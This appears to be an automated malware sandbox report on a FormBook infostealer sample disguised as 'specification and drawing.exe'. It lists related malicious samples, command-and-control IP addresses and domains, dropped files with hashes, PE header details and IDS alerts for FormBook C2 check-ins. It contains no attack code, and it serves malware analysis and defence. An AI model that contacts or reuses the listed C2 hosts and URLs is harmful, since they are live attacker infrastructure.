Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: specification and drawing.exe

Simulations

Behavior and APIs

Time	Type	Description
08:36:38	API Interceptor	2x Sleep call for process: specification and drawing.exe modified
08:36:44	API Interceptor	13x Sleep call for process: powershell.exe modified
08:37:43	API Interceptor	10277602x Sleep call for process: wscript.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
209.74.64.187	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	www.jagdud.store/ohf8/
	En88bvC0fc.exe	Get hash	malicious	FormBook	Browse	www.cotxot.info/tf3f/
	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	www.techyes.life/rirk/
	New orde.exe	Get hash	malicious	FormBook	Browse	www.selectox.xyz/b26r/
	Doc 784-01965670.exe	Get hash	malicious	FormBook	Browse	www.jagdud.store/qxse/
	BL.exe	Get hash	malicious	FormBook	Browse	www.jagdud.store/qxse/
	rDRAWINGDWGSINC.exe	Get hash	malicious	FormBook	Browse	www.turnnex.online/dhzn/
	ROQ_972923.exe	Get hash	malicious	FormBook	Browse	www.goldpal.xyz/ym9o/
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	www.jagdud.store/qxse/
	PO59458.exe	Get hash	malicious	FormBook	Browse	www.cotxot.info/fqdb/
67.223.117.169	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	www.rtpsilva4d.click/e61w/
	QUOTE2342534.exe	Get hash	malicious	FormBook	Browse	www.rtpsilva4d.click/3x2e/
	PO#001498.exe	Get hash	malicious	FormBook	Browse	www.rtpsilva4d.click/zctj/
	PO#001498.exe	Get hash	malicious	FormBook	Browse	www.rtpsilva4d.click/zctj/
185.106.176.204	Tandemmernes90.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.sidqwdf.fun/e3ko/
185.106.176.204	ORIGINAL INVOICE COAU7230734298.pdf.exe	Get hash	malicious	FormBook	Browse	www.sidqwdf.fun/c6mm/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.spectre.center	FcRCSylOMs.exe	Get hash	malicious	FormBook, GuLoader	Browse	5.39.10.93
	2ULrUoVwTx.exe	Get hash	malicious	FormBook, GuLoader	Browse	5.39.10.93
	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	5.39.10.93
	PO#001498.exe	Get hash	malicious	FormBook	Browse	5.39.10.93
	rpedido-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse	5.39.10.93
	PO#001498.exe	Get hash	malicious	FormBook	Browse	5.39.10.93
natroredirect.natrocdn.com	CCE 30411252024.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	OUTSTANDING BALANCE PAYMENT.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	TNT Express Delivery Consignment AWD 87993766479.vbs	Get hash	malicious	FormBook	Browse	85.159.66.93
	OUTSTANDING BALANCE PAYMENT.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	REQUESTING FOR UPDATED SOA.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Certificate 11-18720.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Certificate 11-19AIS.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	packing list G25469.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	purchase Order.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Certificate 11-21AIS.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
www.nagasl89.baby	56ck70s0BI.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	p4rsJEIb7k.exe	Get hash	malicious	FormBook	Browse	104.21.94.87
	TT Swift copy1.exe	Get hash	malicious	FormBook	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ship's particulars-TBN.pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152
	https://ballynuts.gr//br/	Get hash	malicious	Unknown	Browse	104.18.11.207
	swift.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Cotizaci#U00f3n_Pedido_Manzanillo_MX.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	tA5DvuNwfQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Factura.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	Gastroptosis (5).exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	HBL BLJ2T2411809005 & DAJKT2411000812.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Fonts.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	New Order C0038 2024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
MULTIBAND-NEWHOPEUS	Order MEI PO IM202411484.exe	Get hash	malicious	FormBook	Browse	209.74.77.108
	specifications.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	209.74.77.107
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	209.74.77.109
	OUTSTANDING BALANCE PAYMENT.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	209.74.77.108
	ARRIVAL NOTICE.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	209.74.77.107
	Payment_Confirmation_pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	209.74.77.108
	OUTSTANDING BALANCE PAYMENT.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	209.74.77.109
	FACTURA 24V70 VINS.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
VIMRO-AS15189US	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	67.223.117.169
	PO AT-5228.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	fHkdf4WB7zhMcqP.exe	Get hash	malicious	FormBook	Browse	67.223.118.17
	New PO [FK4-7173].pdf.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	proforma Invoice.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	DHL_doc.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	icRicpJWczmiOf8.exe	Get hash	malicious	FormBook	Browse	67.223.118.17
	SecuriteInfo.com.FileRepMalware.20173.21714.exe	Get hash	malicious	FormBook	Browse	67.223.117.142

Process:	C:\Users\user\Desktop\specification and drawing.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.354777075714867
Encrypted:	false
SSDEEP:	24:3gWSKco4KmBs4RPT6BmFoUebIKomjKcmZ9t7J0gt/NKIl9r6dj:QWSU4y4RQmFoUeWmfmZ9tK8NDE
MD5:	92C17FC0DE8449D1E50ED56DBEBAA35D
SHA1:	A617D392757DC7B1BEF28448B72CBD131CF4D0FB
SHA-256:	DA2D2B57AFF1C99E62DD8102CF4DB3F2F0621D687D275BFAF3DB77772131E485
SHA-512:	603922B790E772A480C9BF4CFD621827085B0070131EF29DC283F0E901CF783034384F8815C092D79A6EA5DF382EF78AF5AC3D81EBD118D2D5C1E623CE5553D1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\2361o4QI

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1y4pzadh.ses.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bipbnpp5.2zx.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kodbau1x.dga.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rt1rsod1.x5z.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.844246147104084
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	specification and drawing.exe
File size:	917'504 bytes
MD5:	8941cbf2cdd44ecfe97f45a2fed0d94f
SHA1:	3dbed0eb010422bf5cd364da77e6f22abc27439c
SHA256:	d785e400857a1fea973e9b1fdff8d1a31c4ffdf0aec99bcddf19a2107b230849
SHA512:	9f037294a4a2a0084e186a9eea86eed6b1bbb41f2ddb34f1ded9d86c7e6eddf9c8ef3bdd92198440e6291101693354c63e7e850094d0a3bd5f0caab12219b85c
SSDEEP:	24576:t2xjENP6PYm47hq1wHfA1L1i46xN9LCnYn5:AKa3eH41L1cx6nY
TLSH:	0515126412CFE506C8E217740C67E2F466748D89ED12C31B6BEABEEF7D7A11625803E1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Gg..............0......\........... ........@.. .......................`............@................................

File Icon


Icon Hash:	099bce4dd131078e

Static PE Info

General

Entrypoint:	0x4dc09a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6747D216 [Thu Nov 28 02:14:46 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
adc dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], bh
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
push edi
add byte ptr [eax], al
add byte ptr [ebp+00h], bl
add byte ptr [eax], al
pop edi
add byte ptr [eax], al
add byte ptr [edx+00h], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], cl
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [edx], ch
add byte ptr [eax], al
add byte ptr [eax+eax+00h], dl
add byte ptr [ebx+00h], al
add byte ptr [eax], al
pop ebx
add byte ptr [eax], al
add byte ptr [eax+eax+00h], ah
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
or dword ptr [eax], eax
add byte ptr [eax], al
adc eax, 1C000000h
add byte ptr [eax], al
add byte ptr [ebx], dh
add byte ptr [eax], al
add byte ptr [edi+00h], al
add byte ptr [eax], al
push eax
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [ebx], dl
add byte ptr [eax], al
add byte ptr [eax+eax], bh
add byte ptr [eax], al
sbb byte ptr [eax], al
add byte ptr [eax], al
dec ecx
add byte ptr [eax], al
add byte ptr [ebx+00h], cl
add byte ptr [eax], al
dec edi
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xdc048	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xde000	0x59f4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xda120	0xda200	82c017ff6006b214a0db1c628d925ba2	False	0.9286286712034384	data	7.845321462695301	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xde000	0x59f4	0x5a00	1a4d21e7124dac61ea20b702e2afa16d	False	0.9310763888888889	data	7.85812939228354	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe4000	0xc	0x200	b1b29c65337701b07f557df7ec198b13	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xde100	0x531a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.968083106138949
RT_GROUP_ICON	0xe342c	0x14	data	1.05
RT_VERSION	0xe3450	0x3a4	data	0.4366952789699571
RT_MANIFEST	0xe3804	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-02T14:37:23.348290+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49786	185.106.176.204	80	TCP
2024-12-02T14:37:40.431518+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49823	3.33.130.190	80	TCP
2024-12-02T14:37:40.431518+0100	2856318	ETPRO MALWARE FormBook CnC Checkin (POST) M4	1	192.168.2.6	49823	3.33.130.190	80	TCP
2024-12-02T14:37:43.060663+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49831	3.33.130.190	80	TCP
2024-12-02T14:37:45.767106+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49837	3.33.130.190	80	TCP
2024-12-02T14:37:48.438381+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49843	3.33.130.190	80	TCP
2024-12-02T14:38:03.860734+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49878	5.39.10.93	80	TCP
2024-12-02T14:38:06.522400+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49885	5.39.10.93	80	TCP
2024-12-02T14:38:09.244441+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49890	5.39.10.93	80	TCP
2024-12-02T14:38:11.840591+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49895	5.39.10.93	80	TCP
2024-12-02T14:38:20.003806+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49912	194.58.112.174	80	TCP
2024-12-02T14:38:22.741439+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49919	194.58.112.174	80	TCP
2024-12-02T14:38:25.323599+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49925	194.58.112.174	80	TCP
2024-12-02T14:38:28.045617+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49932	194.58.112.174	80	TCP
2024-12-02T14:38:34.909485+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49948	209.74.64.187	80	TCP
2024-12-02T14:38:37.535393+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49956	209.74.64.187	80	TCP
2024-12-02T14:38:40.199515+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49962	209.74.64.187	80	TCP
2024-12-02T14:38:42.952516+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49968	209.74.64.187	80	TCP
2024-12-02T14:38:49.826932+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49985	3.33.130.190	80	TCP
2024-12-02T14:38:52.740601+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49992	3.33.130.190	80	TCP
2024-12-02T14:38:55.123139+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49999	3.33.130.190	80	TCP
2024-12-02T14:38:57.778717+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50005	3.33.130.190	80	TCP
2024-12-02T14:39:04.698870+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50011	3.33.130.190	80	TCP
2024-12-02T14:39:07.450410+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50012	3.33.130.190	80	TCP
2024-12-02T14:39:10.033043+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50013	3.33.130.190	80	TCP
2024-12-02T14:39:12.753071+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50014	3.33.130.190	80	TCP
2024-12-02T14:39:19.685126+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50015	3.33.130.190	80	TCP
2024-12-02T14:39:22.359225+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50017	3.33.130.190	80	TCP
2024-12-02T14:39:25.072867+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50018	3.33.130.190	80	TCP
2024-12-02T14:39:27.662406+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50019	3.33.130.190	80	TCP
2024-12-02T14:39:35.541607+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50020	47.238.157.253	80	TCP
2024-12-02T14:39:38.213543+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50021	47.238.157.253	80	TCP
2024-12-02T14:39:40.885385+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50022	47.238.157.253	80	TCP
2024-12-02T14:40:03.919439+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50023	47.238.157.253	80	TCP
2024-12-02T14:40:10.782145+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50025	67.223.117.169	80	TCP
2024-12-02T14:40:13.518956+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50026	67.223.117.169	80	TCP
2024-12-02T14:40:16.194628+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50027	67.223.117.169	80	TCP
2024-12-02T14:40:18.811723+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50028	67.223.117.169	80	TCP
2024-12-02T14:40:26.244876+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50029	85.159.66.93	80	TCP
2024-12-02T14:40:28.917219+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50030	85.159.66.93	80	TCP
2024-12-02T14:40:31.588702+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50031	85.159.66.93	80	TCP
2024-12-02T14:40:34.109265+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50032	85.159.66.93	80	TCP
2024-12-02T14:40:41.494889+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50033	162.159.140.104	80	TCP
2024-12-02T14:40:44.683670+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50034	162.159.140.104	80	TCP
2024-12-02T14:40:48.511975+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50035	162.159.140.104	80	TCP
2024-12-02T14:40:51.358045+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50036	162.159.140.104	80	TCP
2024-12-02T14:40:58.451663+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50037	208.91.197.27	80	TCP

Network Port Distribution

TCP Packets

